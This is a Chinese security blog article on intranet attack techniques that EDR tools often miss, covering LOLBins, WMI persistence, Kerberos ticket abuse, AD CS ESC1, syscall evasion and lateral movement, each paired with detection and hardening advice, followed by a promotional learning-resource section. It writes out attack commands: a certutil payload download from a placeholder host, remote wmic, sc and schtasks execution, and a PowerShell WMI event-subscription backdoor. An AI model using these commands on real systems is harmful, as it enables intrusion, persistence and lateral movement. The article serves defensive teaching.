不要只靠杀毒软件:EDR 告警不一定能抓到的几种内网攻击行为
免责声明:本文内容仅用于企业安全建设、红队演练、防御方案研究,禁止用于任何未授权的渗透测试、入侵攻击行为。未经授权访问、操作内网系统属于违法行为,由此产生的一切法律责任由行为人自行承担。本文所有案例、技术原理仅作为安全防御科普,所有攻击样例均为实验环境下演示,请勿直接复制到生产环境执行。
摘要
很多企业安全团队存在一个根深蒂固的认知误区:只要终端全部部署 EDR,打开所有告警,配上杀毒软件,内网安全就基本可控。但大量护网、红队实战与真实入侵事件证明:现代内网攻击早已不再依赖落地恶意 exe、病毒木马这类传统恶意文件。攻击者大量滥用操作系统自带合法工具、现有账号权限、AD 域内置能力,在完全合法的进程、正常账号上下文下完成横向移动、凭据窃取、持久化、数据窃取。
EDR 擅长识别恶意文件、异常进程注入、恶意命令行字符串。但基于合法账号、合法系统组件、正常业务行为的攻击,会淹没在海量正常运维日志中,EDR 单点检测很难单独识别。很多攻击全程没有落地恶意文件,没有异常的进程创建,甚至没有明显的异常命令行,EDR 不会产生高危告警,等到业务数据泄露、域控被拿下时,防御人员才发现攻击者已经在内网潜伏数周。
本文将从 EDR 基础原理入手,拆解 EDR 的天然检测盲区,详细分析红队在内网实战中,EDR 经常漏报的几类典型攻击手段:LOLBAS 活在土地攻击、无文件 WMI 持久化、基于 Kerberos 票据的凭据滥用、AD 域原生漏洞攻击、内存间接 syscall 攻击、基于共享 / 远程服务的静默横向移动,同时附带真实红队场景复盘、检测思路、防御加固方案。读完本文,你会理解 EDR 不是内网安全的银弹,终端防护必须搭配网络侧、身份侧、日志审计、行为基线才能形成完整防御体系。
前言
杀毒软件(EPP)的核心思路是基于特征码、哈希、静态扫描识别磁盘上的恶意文件。EDR(Endpoint Detection and Response,终端检测与响应)在杀毒软件的基础上增加了进程行为监控、API 钩子、内存扫描、事件日志采集,能够捕获进程创建、文件写入、注册表修改、网络连接等终端行为,并且可以在告警触发后远程隔离终端、终止进程。
在多年前,勒索病毒、木马大多依靠落地恶意 PE 文件,EDR + 杀毒软件的组合防护效果很好。但攻击者的战术持续迭代:从 “投放恶意文件” 转向 “滥用现有合法权限与系统自带工具”。MITRE ATT&CK 框架中大量后渗透技术,全部基于 Windows 原生组件,这些组件本身就是管理员日常运维工具。
这就造成一个巨大矛盾:同样一条命令,管理员执行是正常运维操作,攻击者拿到账号后执行,就是内网入侵。EDR 在终端单点很难区分 “合法管理员操作” 和 “黑客窃取账号后的恶意操作”。
很多企业 SOC 告警每天成千上万条,大量低危告警产生告警疲劳。运维人员习惯忽略 schtasks、wmic、powershell、wmiprvse 这类系统进程产生的日志。攻击者正是利用这个盲区,在内网缓慢横向移动,不触发高危告警,安静拿下域控、导出所有账号凭据。
在近几年护网行动中,大量防守方部署了顶级厂商 EDR,但红队依然可以拿下内网核心资产。不是 EDR 产品失效,而是防守方错误地把 EDR 当成唯一防线,忽略了 EDR 的固有局限。本文就详细拆解这些 EDR 很难捕捉到的内网攻击方式,同时给出对应的检测与加固思路。
一、先搞懂:EDR 到底能看到什么,看不见什么
想要理解 EDR 的告警盲区,我们必须先理解 EDR 的工作原理,明白它的监控边界。
1.1 EDR 的核心监控能力
主流 EDR 会在终端部署轻量 Agent,通过多种方式采集终端行为:
- 用户态 API 钩子:挂钩 ntdll、kernel32 等系统 API,捕获内存分配、进程创建、远程线程注入、文件读写等操作。
- 内核回调:注册内核回调,监控进程、线程、镜像加载,捕获驱动加载、进程创建事件。
- ETW 事件:读取 Windows 事件跟踪日志,采集进程、注册表、网络事件。
- 内存扫描:定期扫描进程内存,识别已知恶意注入特征、恶意 PE 镜像。
- 命令行捕获:抓取新建进程的命令行参数,匹配威胁规则。
- 文件扫描:对写入磁盘的文件进行静态扫描,匹配恶意哈希、特征。
简单来说:EDR Agent 运行在终端上,重点监控 “终端上发生的异常行为”,优先识别恶意文件、异常注入、恶意命令行。
1.2 EDR 天然的局限性
- 单点视角,缺少全局上下文
EDR 只能看到本机发生的行为。如果攻击者利用 A 机器的合法账号,远程访问 B 机器的 SMB、WMI、计划任务,在 B 机器上执行操作。EDR 在 B 机器看到的是合法账号登录,进程是系统原生 wmiprvse.exe,没有异常命令行,无法判断这个远程操作来自攻击者,而不是管理员。EDR 没有跨主机的完整访问链路,缺少账号行为基线。 - 难以区分 “合法账号的恶意行为”
EDR 的规则大多基于行为特征。当攻击者窃取域管理员账号,使用管理员账号执行 WMI 远程命令、创建计划任务。这些操作本身就是域管理员的正常权限范围。EDR 无法判断:这个管理员是真的运维人员,还是黑客盗用账号登录。 - 依赖特征,对 “无文件、原生工具” 攻击识别弱
传统规则依赖恶意哈希、恶意字符串。LOLBIN 工具(certutil、bitsadmin、wmic、schtasks、msbuild)都是微软自带签名程序,哈希完全合法。攻击者只是调用这些工具,没有落地恶意文件,静态扫描完全失效。很多 EDR 默认不会对这些原生工具的常规使用触发高危告警,只会标记低优先级日志。 - 用户态钩子可以被绕过
大量现代红队载荷使用直接系统调用(Direct Syscall)、间接 syscall,绕开 EDR 在 ntdll.dll 上挂载的用户态钩子。恶意代码不再调用被 hook 的 API,直接在内核层执行系统调用。EDR 用户态钩子无法捕获这部分内存操作,内存扫描如果没有匹配特征,就不会产生告警。 - 无法监控身份层、域层的隐形攻击
Kerberos 票据传递、黄金票据、白银票据、AD CS 证书滥用,这类攻击很多时候不会在终端产生明显恶意进程。攻击者在内存中操作 Kerberos 票据,复用现有会话,EDR 终端层面很难识别票据伪造、证书滥用。攻击发生在身份认证层面,不是终端文件与进程层面。 - 告警疲劳导致人工漏检
EDR 会产生海量日志。如果规则宽松,大量 schtasks、wmic、powershell 日志全部作为低危信息。SOC 分析师每天处理几百上千条告警,会对这类日志麻木。攻击者缓慢横向移动,每次只产生低危日志,不会触发高危告警,最终悄悄拿下内网。
一句话总结:EDR 擅长抓恶意文件落地、明显异常的进程注入,但是对于合法账号 + 原生系统工具 + 域身份滥用的内网攻击,告警能力会大幅下降,很多场景甚至完全没有告警。
二、LOLBAS(Living Off The Land)活在土地攻击:用系统自带工具入侵,EDR 很难判定为恶意
LOLBAS,中文常叫 “活在土地” 攻击,指攻击者不上传任何恶意程序,完全利用 Windows 系统自带、微软签名的原生二进制程序完成侦察、下载、执行、持久化。这是现在内网横向移动最主流的手段,也是 EDR 最容易漏报的攻击类型之一。
2.1 LOLBAS 攻击原理
这些原生程序(LOLBins)本身是微软开发、数字签名的合法程序,用于系统运维。EDR 的静态扫描看到数字签名,默认信任文件本身。攻击者只是调用这些程序的原生功能,实现恶意操作。
举个例子:certutil.exe 原本是证书管理工具,自带下载文件功能。攻击者执行:
certutil -urlcache -split -f http://xxx/payload.bin C:\temp\payload.bin
这条命令利用 certutil 下载文件。certutil.exe 是微软签名程序,文件本身没有任何恶意。EDR 如果没有专门针对这个命令行的规则,只会记录进程日志,不会报高危告警。在很多企业默认 EDR 策略下,这条操作只会生成信息级日志,不会触发告警。
常用 LOLBAS 工具清单:
- certutil:文件下载、base64 编码解码
- bitsadmin:后台异步下载文件
- msbuild.exe:执行 XML 内联 C# 代码,内存执行,无需落地 exe
- regsvr32:squiblydoo 攻击,远程加载 sct 脚本,无文件执行
- wmic:远程命令执行、系统信息收集
- schtasks:远程创建计划任务,持久化 + 横向移动
- powershell:内存执行脚本,无文件落地
- mshta:执行 hta 脚本,内存执行代码
2.2 实战场景:红队拿到普通域账号后,使用 wmic 横向移动
假设红队通过钓鱼拿到普通域用户账号,这个账号拥有部分服务器的远程 WMI 权限。攻击者不需要上传任何木马,直接在当前机器执行 wmic 命令,在目标服务器远程创建进程:
wmic /node:"192.168.1.100" /user:"domain\user" /password:"xxx" process call create "cmd.exe /c whoami"
在目标服务器 192.168.1.100 上,会启动 wmiprvse.exe 进程,执行 cmd 命令。
我们站在目标服务器 EDR 视角看:
- 进程是 wmiprvse.exe,微软原生系统程序,签名合法;
- 登录账号是合法域账号;
- WMI 远程调用是 Windows 原生管理协议;
- 没有恶意文件落地,没有注入行为。
EDR 默认策略下,只会记录 wmiprvse 进程创建日志,不会判定为高危入侵。防守人员很容易把这条日志当成管理员远程运维操作。
这就是 LOLBAS 攻击最恐怖的地方:攻击行为完全使用系统原生组件,没有任何 “恶意文件”,EDR 传统的恶意检测逻辑失效,只能依靠行为基线和规则判断。一旦基线缺失,就会漏报。
很多企业 EDR 虽然有 powershell 命令行检测,但很多时候只拦截带-enc加密参数的高危命令。攻击者可以绕过编码检测,拆分命令、使用变量、混淆字符串,规避简单字符串匹配规则。
2.3 EDR 的检测短板
- LOLBins 文件自带微软签名,静态哈希扫描直接放行;
- 单纯的 wmic、schtasks、certutil 进程,属于正常运维行为,EDR 很难默认标记为高危;
- 攻击者可以拆分命令、字符串混淆,规避命令行字符串匹配规则;
- 单点 EDR 无法判断:是谁在什么时间、什么业务场景发起远程 WMI 调用。
2.4 对应的防御方案
- 建立账号行为基线:记录域管理员、运维账号的登录源 IP、登录时间、常用主机。当域账号从陌生终端、非工作时间发起 WMI/SMB 远程操作,触发告警。
- 限制 WMI、计划任务远程访问权限,最小权限原则:普通域用户禁止远程 WMI 访问服务器。
- EDR 自定义规则:对 wmic、schtasks、certutil、mshta 等进程的异常命令行做告警,不要只依赖产品自带规则。
- 网络侧审计:在域边界、内网核心交换机监控 WMI(TCP 5985/5986)、SMB(445)跨主机访问日志,关联源 IP、目标 IP、账号,识别横向移动。
- 审计日志集中收集:开启 WMI 活动日志,统一上送到 SIEM,做跨主机关联分析。
三、WMI 事件订阅:无文件持久化后门,重启后依然存活,EDR 极易忽略
WMI(Windows 管理规范)是 Windows 内置的管理框架,很多红队把 WMI 事件订阅称为 “无文件隐形后门”,这是非常经典的 EDR 盲区攻击手段。很多防守人员只关注计划任务、注册表启动项,完全忽略 WMI 事件订阅持久化,EDR 在默认配置下很难捕获该行为。
3.1 WMI 事件订阅原理
WMI 事件订阅由三部分组成:事件过滤器(Event Filter)、事件消费者(Event Consumer)、绑定过滤器和消费者的 FilterToConsumerBinding。
- Event Filter:定义触发条件,比如 “系统启动 60 秒后”、“用户登录时”、“进程创建时”;
- Event Consumer:定义触发之后执行什么操作,可以执行命令、启动进程;
- Binding:把过滤器和消费者绑定,完成订阅。
整个持久化全部保存在 WMI 仓库(root\subscription 命名空间),不需要写入磁盘任何可执行文件。重启系统之后,WMI 服务自动加载这个订阅,满足条件自动执行命令。没有新增 exe、没有新增注册表 Run 启动项,传统杀毒扫描找不到恶意文件。
攻击者常用触发条件:用户登录、系统启动、特定进程创建。一旦配置完成,每次满足条件就自动执行恶意命令。
3.2 攻击样例(仅实验环境演示)
攻击者使用 PowerShell 创建 WMI 事件订阅,用户登录时自动执行命令:
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
Name="BackdoorFilter";
EventNamespace="root\cimv2";
QueryLanguage="WQL";
Query="SELECT * FROM __InstanceModificationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType=2"
}
$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
Name="BackdoorConsumer";
CommandLineTemplate="cmd.exe /c whoami"
}
$binding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
Filter=$filter;
Consumer=$consumer
}
执行完成后,只要有用户交互式登录,就自动执行 cmd 命令。整个过程没有落地任何恶意文件,持久化信息保存在 WMI 仓库。
3.3 EDR 为什么很难抓到
- 没有恶意文件写入磁盘,静态扫描无效;
- 持久化载体不是常见注册表启动项、计划任务,很多 EDR 默认不监控 root\subscription 下 WMI 对象创建;
- 创建订阅的进程是 powershell 或者 wmic,属于系统工具。如果攻击者混淆命令行,简单命令行规则无法匹配;
- 触发执行的时候,进程是 wmiprvse.exe,系统原生进程,EDR 容易当成正常 WMI 管理行为;
- 很多运维人员、安全人员平时不审计 WMI 命名空间,就算 EDR 产生日志,也很难识别这是持久化后门。
在大量红队实战中,WMI 事件订阅可以潜伏数月,重启主机后门依然存在,EDR 没有高危告警,防守人员很难发现。
3.4 检测与加固方案
- 开启 WMI 对象创建审计,监控 root\subscription 命名空间下__EventFilter、CommandLineEventConsumer、__FilterToConsumerBinding 对象创建操作,一旦新增对象立刻告警;
- 定期批量扫描内网所有主机,查询 WMI 事件订阅,清理陌生订阅;
- 限制普通用户对 root\subscription 命名空间的写入权限,只有本地管理员才能创建 WMI 事件订阅;
- EDR 增加自定义规则,监控对 root\subscription 命名空间的写入操作;
- 定期导出 WMI 订阅清单,做基线对比,发现新增订阅立即排查。
注意:WMI 本身是合法运维工具,部分运维场景会使用 WMI 事件订阅做监控,所以不能一刀切禁止,需要建立基线,识别新增异常订阅。
四、Kerberos 票据滥用:黄金票据、白银票据、票据传递,攻击发生在身份层,EDR 终端告警薄弱
内网域环境中,Kerberos 票据滥用是红队拿下域控之后最经典的持久化与横向移动手段。这类攻击是身份认证层面的攻击,不是终端文件或者进程攻击,这也是 EDR 最大的盲区之一。很多时候,票据操作全程在内存中完成,不会产生恶意文件,EDR 很难产生告警。
4.1 基础概念快速回顾
在 AD 域环境,Kerberos 认证依靠票据:
- TGT 票据:票据授予票据,由域控 KDC 颁发,拿到 TGT 就可以申请任意服务票据;
- 黄金票据(Golden Ticket):伪造 TGT 票据,利用域控 krbtgt 账号的 NTLM 哈希。攻击者拿到 krbtgt 哈希,就可以任意伪造 TGT,不受密码修改限制,实现域内任意机器、任意账号的访问;
- 白银票据(Silver Ticket):伪造服务票据,针对单个服务(如 CIFS、WMI、LDAP),不需要和域控交互,直接伪造票据访问目标主机服务;
- Pass-the-Ticket(票据传递,PtT):窃取内存中已经存在的 Kerberos 票据,导入到当前进程内存,复用票据访问目标主机,不需要知道账号明文密码。
4.2 攻击过程分析
以 PtT 票据传递举例:
- 攻击者在已经攻陷的主机上,从 lsass 进程内存导出当前用户的 Kerberos 票据;
- 将票据导入到当前进程内存;
- 使用这个票据,直接访问目标服务器的 SMB、WMI 服务,完成横向移动。
整个过程:
- 没有账号明文密码;
- 没有在磁盘写入恶意文件;
- 票据操作全部在内存完成;
- 认证流量是标准 Kerberos 协议流量。
EDR 在终端上看到的行为:进程正常访问 SMB 服务,没有异常进程注入,没有恶意文件。EDR 无法识别当前进程使用的 Kerberos 票据是被盗取的。
黄金票据更隐蔽:攻击者伪造 TGT,访问目标主机时,Kerberos 票据直接用于身份认证。攻击核心发生在身份认证协议层面,不是终端文件操作。 终端 EDR 只能看到正常的网络访问,很难识别票据伪造。
4.3 EDR 的检测局限
- 票据操作在内存,没有文件落地,静态扫描完全无效;
- Kerberos 是域环境标准认证协议,EDR 终端侧无法解析票据内容,判断票据是否伪造;
- 票据传递、白银票据很多场景不需要和域控 KDC 通信,域控日志都可能缺失;
- 攻击者使用合法进程(如 cmd、powershell)访问 SMB,进程本身无异常;
- EDR 是终端视角,缺少域身份认证日志的全局关联。
很多防守方部署了 EDR,但是域控审计日志没有开启,即使票据攻击发生,终端 EDR 完全没有告警,攻击者可以在内网自由横向移动。
4.4 防御加固方案
- 开启域控完整 Kerberos 审计日志,监控异常 TGT 请求、异常票据;
- 保护 lsass 进程,EDR 开启 lsass 内存保护,禁止非授权进程读取 lsass 内存,阻止票据、哈希导出;
- 限制域管理员账号登录普通工作站,遵循 “账号分层”,域管理员只允许登录域控;
- 定期轮换 krbtgt 账号密码(至少两次,清除旧的黄金票据有效性);
- 部署域身份审计,监控异常跨主机 Kerberos 访问,识别陌生主机使用高权限账号票据访问核心服务器;
- 开启 LSA 保护,防止 lsass 内存凭证导出。
重点提醒:EDR 可以防护 lsass 内存 dump 这类凭证窃取动作,但无法单独识别已经窃取完成后的票据传递、白银票据访问行为,必须依赖域控日志和身份审计。
五、AD CS 证书服务滥用:ESC 系列漏洞,域内权限提升,EDR 几乎无告警
AD CS(Active Directory Certificate Services,活动目录证书服务)是 Windows 域自带证书服务,很多企业域环境默认部署。AD CS 的 ESC1、ESC2、ESC3、ESC8 等漏洞,是近年红队最常用的域提权手段,这类攻击全程可以使用合法工具,EDR 终端层面几乎不会产生高危告警。
5.1 AD CS 攻击原理
AD CS 用于给域内机器、用户颁发证书。证书可以用于 Kerberos 证书认证,拿到证书就可以模拟用户身份,申请 TGT 票据,实现权限提升。
以 ESC1 漏洞为例:证书模板配置错误,允许普通域用户注册证书,并且证书模板的 “主体” 可以由申请者自定义。攻击者用普通域账号,向 CA 服务器申请证书,在证书主体填写域管理员账号,拿到证书后,使用证书向 KDC 申请 TGT 票据,直接模拟域管理员身份。
整个攻击流程:
- 普通域账号,使用 Windows 自带 certreq、certutil 工具申请证书;
- CA 服务器颁发合法证书;
- 攻击者使用证书,向域控 KDC 申请 Kerberos TGT;
- 拿到 TGT 票据,模拟域管理员访问内网任意资产。
5.2 EDR 为什么抓不到
- 攻击工具全部是 Windows 原生 certutil、certreq,微软签名程序;
- 没有恶意文件落地,没有进程注入;
- 证书申请是 Windows 标准证书服务流程,网络流量是标准 RPC、Kerberos;
- EDR 终端单点视角,无法理解证书模板配置缺陷,无法判断 “普通用户申请管理员主体证书” 属于攻击行为;
- 终端进程行为全部合法,没有 EDR 定义的恶意行为特征。
很多红队护网实战中,使用 AD CS ESC 漏洞从普通域用户直接提升到域管理员,全程 EDR 没有高危告警,只有一些低等级的 certutil 进程日志,很容易被 SOC 忽略。
AD CS 攻击属于域配置缺陷利用,不是终端恶意代码攻击。EDR 的设计目标是防护终端,天然无法检测域层面的配置错误带来的攻击,这是非常典型的 EDR 盲区。
5.3 防御加固方案
- 扫描域内 AD CS 证书模板,检查 ESC1/ESC2/ESC3/ESC8 高危配置,修复证书模板权限;
- 限制普通域用户注册高风险证书模板;
- 开启 CA 服务器审计日志,监控证书申请、证书颁发事件,监控普通用户申请包含管理员主体的证书;
- 定期巡检 AD CS 权限与模板配置,使用 Certify、BloodHound 做域安全巡检;
- 监控异常证书申请行为,非运维账号发起证书申请,触发告警。
六、直接 Syscall / 间接 Syscall 内存载荷:绕过 EDR 用户态钩子,内存执行无文件攻击
前面几种攻击偏向滥用系统原生工具。而现代红队 C2 载荷(Sliver、Havoc、CobaltStrike)大量使用 Direct Syscall、间接 syscall 技术,绕过 EDR 用户态钩子,在内存中执行恶意代码,不在磁盘落地 PE 文件,很多 EDR 会漏报。
6.1 EDR 用户态钩子原理
绝大多数 EDR 会在用户态 ntdll.dll 挂载钩子。当程序调用NtAllocateVirtualMemory、NtCreateThreadEx这类 API 时,会先进入 EDR 钩子函数,EDR 捕获这个行为,判断是否恶意注入。
传统的反射 DLL 注入、Process Hollowing,都会调用 ntdll 导出 API,很容易被 EDR 用户钩子捕获。
6.2 Direct Syscall 原理
Windows API 本质是封装:kernel32 调用 ntdll 的 NtXXX 函数,ntdll 函数内部组装寄存器,执行 syscall 指令进入内核。
Direct Syscall 载荷:不再调用 ntdll.dll 里被 EDR 挂钩的 NtAPI,代码在运行时获取系统调用号,直接在汇编层执行 syscall 指令,进入内核。整个过程不会触发 EDR 在 ntdll 上的用户态钩子。EDR 用户态钩子完全看不到这个内存操作。
间接 syscall 更进一步:复用进程内存里已经存在的 syscall 指令 gadget,规避 syscall 指纹检测,进一步提高隐蔽性。
Sleep Obfuscation(睡眠混淆)经常搭配 syscall 使用:C2 载荷定期休眠,休眠时把内存数据加密、清空。EDR 定时内存扫描的时候,内存里没有恶意代码,扫描结束后解密恢复执行。EDR 内存扫描无法捕获休眠阶段的恶意代码。
6.3 攻击场景
攻击者通过钓鱼拿到初始立足点,在内存执行 syscall 载荷,不落地 exe。载荷注入到 winword.exe、explorer.exe 这类正常签名进程中。
EDR 看到:
- 父进程是正常 word 程序;
- 没有恶意文件写入磁盘;
- 用户态钩子没有捕获远程注入 API 调用;
- 休眠阶段内存扫描无恶意代码。
很多 EDR 只能依靠内核回调、ETW、内存特征检测,一旦载荷没有匹配特征,就不会产生告警。
注意:syscall 不是万能绕过,高端 EDR 具备内核层监控、ETW 监控、内存页扫描,依然有机会捕获。但是在很多企业默认配置下,这类内存载荷会成功绕过 EDR 告警。
6.4 防御方案
- 开启 EDR 内核级监控,不要只依赖用户态钩子;
- 开启 ETW 进程、线程、镜像加载审计,监控异常内存分配、异常线程创建;
- 启用 AMSI、脚本保护,拦截 powershell、dotnet 恶意脚本;
- 监控异常的未签名模块加载到正常系统进程(如 winword、svchost);
- 限制 Office 宏,减少初始入口;
- 定期做红队对抗演练,测试 EDR 对 syscall 类内存载荷的检测能力。
七、基于 SMB 共享、远程服务的静默横向移动:复用现有会话,无新进程告警
很多人以为横向移动一定会产生新的进程,触发 EDR 告警。但攻击者可以利用 SMB 会话、远程服务控制,复用已经存在的登录会话,在目标主机创建服务执行命令,很多场景下告警非常隐蔽。
经典例子:SC 命令远程创建 Windows 服务。
sc \\192.168.1.100 create BackdoorService binPath= "cmd.exe /c whoami" type= own start= auto
sc \\192.168.1.100 start BackdoorService
攻击者使用已经认证的 SMB 会话,远程在目标主机创建服务,启动服务执行命令。
目标主机 EDR 看到:服务控制管理器启动 cmd.exe,执行命令。如果使用的账号是合法域管理员账号,单纯看进程行为,很难判定为攻击。
还有一种更隐蔽方式:利用计划任务 schtasks 远程创建任务。
schtasks /s 192.168.1.100 /u domain\admin /p xxx /create /tn "WindowsUpdateSync" /tr "cmd.exe /c xxx" /sc once /st 10:00
schtasks 是 Windows 自带工具,远程创建计划任务,属于标准运维操作。很多 EDR 默认不会把 schtasks 远程创建任务标记为高危告警。
这类横向移动的核心特点:依赖已经建立的 SMB 身份会话,使用系统自带服务管理、计划任务工具。EDR 单点看,进程都是系统原生程序,账号合法,很难区分运维和攻击行为。
7.1 检测盲区
- SMB 远程会话是合法域账号登录,EDR 无法区分访问来源;
- sc、schtasks 都是系统自带程序,数字签名合法;
- 远程创建服务、计划任务,是企业运维日常操作,大量企业 EDR 规则将其标记为低危;
- 攻击者可以删除服务、任务,执行完成后清理痕迹,日志很难溯源。
7.2 防御加固
- 内网严格限制 445 端口跨主机访问,遵循最小权限,普通工作站禁止互相访问 SMB;
- 审计远程服务创建、远程计划任务创建事件,重点监控陌生 IP、非工作时间的远程创建任务 / 服务操作;
- 高权限账号禁止登录普通工作站,防止账号被盗后横向;
- SIEM 关联 SMB 登录事件 + 远程创建服务 / 计划任务事件,做跨主机行为关联告警。
八、真实红队实战复盘:部署 EDR 的内网,攻击者无高危告警拿下域控
8.1 环境背景
某中型企业,内网全部 Windows 终端和服务器部署主流商业 EDR,杀毒软件全开,SOC 值守。域环境,有文件服务器、应用服务器、域控。防守方认为:EDR 全覆盖,内网安全基本可控。
8.2 攻击链路(红队演练)
- 钓鱼邮件,用户点击文档,启用宏,在内存执行 powershell,使用 MSBuild 执行代码,无落地 exe。EDR 产生一条低危 MSBuild 日志,SOC 分析师忽略。
- 拿到普通域用户账号,使用 BloodHound 收集域信息,发现 AD CS 存在 ESC1 漏洞。全程使用原生工具,EDR 仅记录 wmic、powershell 低危日志,无高危告警。
- 使用 certutil 向 CA 申请伪造管理员证书,拿到证书,向 KDC 申请 TGT 票据。证书申请使用系统原生工具,EDR 无告警。
- 使用 Kerberos 票据访问域控 SMB,利用票据传递访问域控,导出 krbtgt 哈希。票据操作全部内存完成,EDR 没有高危告警。
- 利用 krbtgt 哈希制作黄金票据,创建 WMI 事件订阅做持久化,WMI 订阅创建操作只产生低等级日志,未被发现。
- 完成域控接管,红队完成目标。
整个完整攻击链,全程没有触发 EDR 高危告警,只有多条分散的低危信息日志。单独看每一条日志,都像是正常运维操作。只有把所有日志跨主机、跨时间、账号行为关联起来,才能发现完整攻击链路。
复盘结论:
- EDR 可以捕获恶意文件落地,但无法独立识别由合法账号、原生工具、域配置缺陷组合起来的攻击链路;
- 单点 EDR 日志是碎片化的,只有集中日志平台 SIEM 做跨主机关联,才能发现横向移动链路;
- 告警疲劳是防守巨大隐患,大量低危日志被忽略,攻击者利用这个窗口缓慢渗透;
- 域安全(AD、AD CS、Kerberos)是独立的攻击面,EDR 无法替代域安全审计。
九、EDR 的正确定位:终端防线,不是内网安全的全部
很多企业安全团队最大误区:把 EDR 当成内网安全的 “万能保险”。我们必须重新定义 EDR 在防御体系中的位置:
✅ EDR 擅长:
- 查杀落地到磁盘的恶意文件、勒索病毒;
- 捕获明显的进程注入、恶意代码执行;
- 隔离被攻陷终端,应急响应;
- 监控终端文件、注册表、进程行为,收集终端日志;
- 防护 lsass 内存 dump,阻止一部分凭证窃取。
❌ EDR 不擅长:
- 识别合法账号盗用后的恶意运维类操作;
- 检测域层面的身份攻击(Kerberos 票据、AD CS 证书漏洞);
- 跨主机全局行为关联,识别缓慢的横向移动链路;
- 检测纯内存、无文件、基于原生 LOLBIN 工具的攻击;
- 修复 AD 域配置错误、权限配置缺陷。
完整内网防御体系,必须是多层防御叠加:
- 终端层:EDR + 杀毒,做终端行为监控、恶意代码拦截;
- 身份层:域审计、账号基线、最小权限、Kerberos 日志审计,监控账号异常登录;
- 网络层:NDR 网络流量检测,监控内网横向移动流量(SMB、WMI、RDP);
- 日志层:SIEM 集中日志采集,跨主机关联分析,串联分散的低危日志,还原完整攻击链;
- 主动巡检层:定期 AD 巡检、漏洞扫描、红队攻防演练,提前发现配置缺陷;
- 权限治理:账号分层、高权限账号保护,限制横向移动基础条件。
EDR 是防御体系里重要一环,但绝对不能单独依靠 EDR 和杀毒软件保护内网。
十、防御落地检查清单,企业可以直接落地自查
如果你负责内网安全,可以对照下面清单自查,评估内网是否存在本文提到的 EDR 盲区风险:
- 账号权限
- 域管理员账号是否允许登录普通员工工作站?
- 普通域用户是否拥有大量服务器 WMI、SMB 访问权限?
- 是否有账号行为基线,监控账号陌生 IP 登录、非工作时间登录?
- AD 与 AD CS
- 内网是否部署 AD CS?是否完成 ESC1/ESC2/ESC3/ESC8 漏洞检测?
- CA 服务器审计日志是否开启,证书申请事件是否采集到 SIEM?
- krbtgt 账号密码是否定期轮换?
- EDR 策略配置
- EDR 是否开启内核回调、ETW 审计,而不是仅依赖用户态钩子?
- 是否针对 LOLBIN 工具(wmic、schtasks、certutil、msbuild)配置自定义告警规则?
- 是否开启 WMI 对象创建审计,监控 root\subscription 命名空间?
- LSA 保护是否开启,防护 lsass 内存凭证导出?
- 日志与 SIEM
- 域控、CA 服务器、所有服务器的安全审计日志是否统一采集到 SIEM?
- 是否有跨主机关联规则:SMB 登录 + 远程创建计划任务 / 服务,触发告警?
- SOC 分析师是否定期审查低危 LOLBIN 相关日志,避免告警疲劳?
- 网络访问控制
- 内网 445、5985、3389 端口是否做访问控制,限制工作站之间横向访问?
- 内网是否部署 NDR,监控内网横向移动流量?
- 持续性安全测试
- 是否定期开展红队演练,测试 EDR 对 LOLBIN、内存载荷、AD 攻击的检测能力?
- 定期巡检 WMI 事件订阅、计划任务、服务,清理持久化后门。
结语
杀毒软件和 EDR 是终端防护的基石,在对抗传统恶意文件、勒索病毒场景价值巨大。但内网攻击已经全面转向 “滥用合法权限、滥用系统原生能力”。攻击者不需要病毒,只需要拿到一个普通域账号,利用 Windows 自带工具、AD 域配置缺陷,在内网静默横向移动,全程产生的都是低等级日志,EDR 很难单独识别入侵行为。
安全防御的核心逻辑不能停留在 “抓恶意文件”,而是转向身份行为监控、跨主机链路关联、最小权限治理、域配置安全。不要把 EDR 当成内网安全的银弹,多层防御、日志关联、最小权限、持续红蓝对抗,才是对抗现代内网攻击的核心方案。
安全建设永远没有一劳永逸的产品,攻击者的战术持续迭代,防守思路也必须同步升级。只有理解 EDR 的边界与盲区,补齐身份、网络、日志审计能力,才能真正发现那些 EDR 告警抓不到的内网攻击。
本文适合内网安全运维、蓝队 SOC、红队人员阅读,转载请注明来源。
如果你是也准备转行学习网络安全(黑客)或者正在学习,这些我购买的资源可以分享给你们,互勉:
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
一、网络安全(黑客)学习路线
网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

二、网络安全教程视频
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

四、网络安全面试题
最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐

所有评论(0)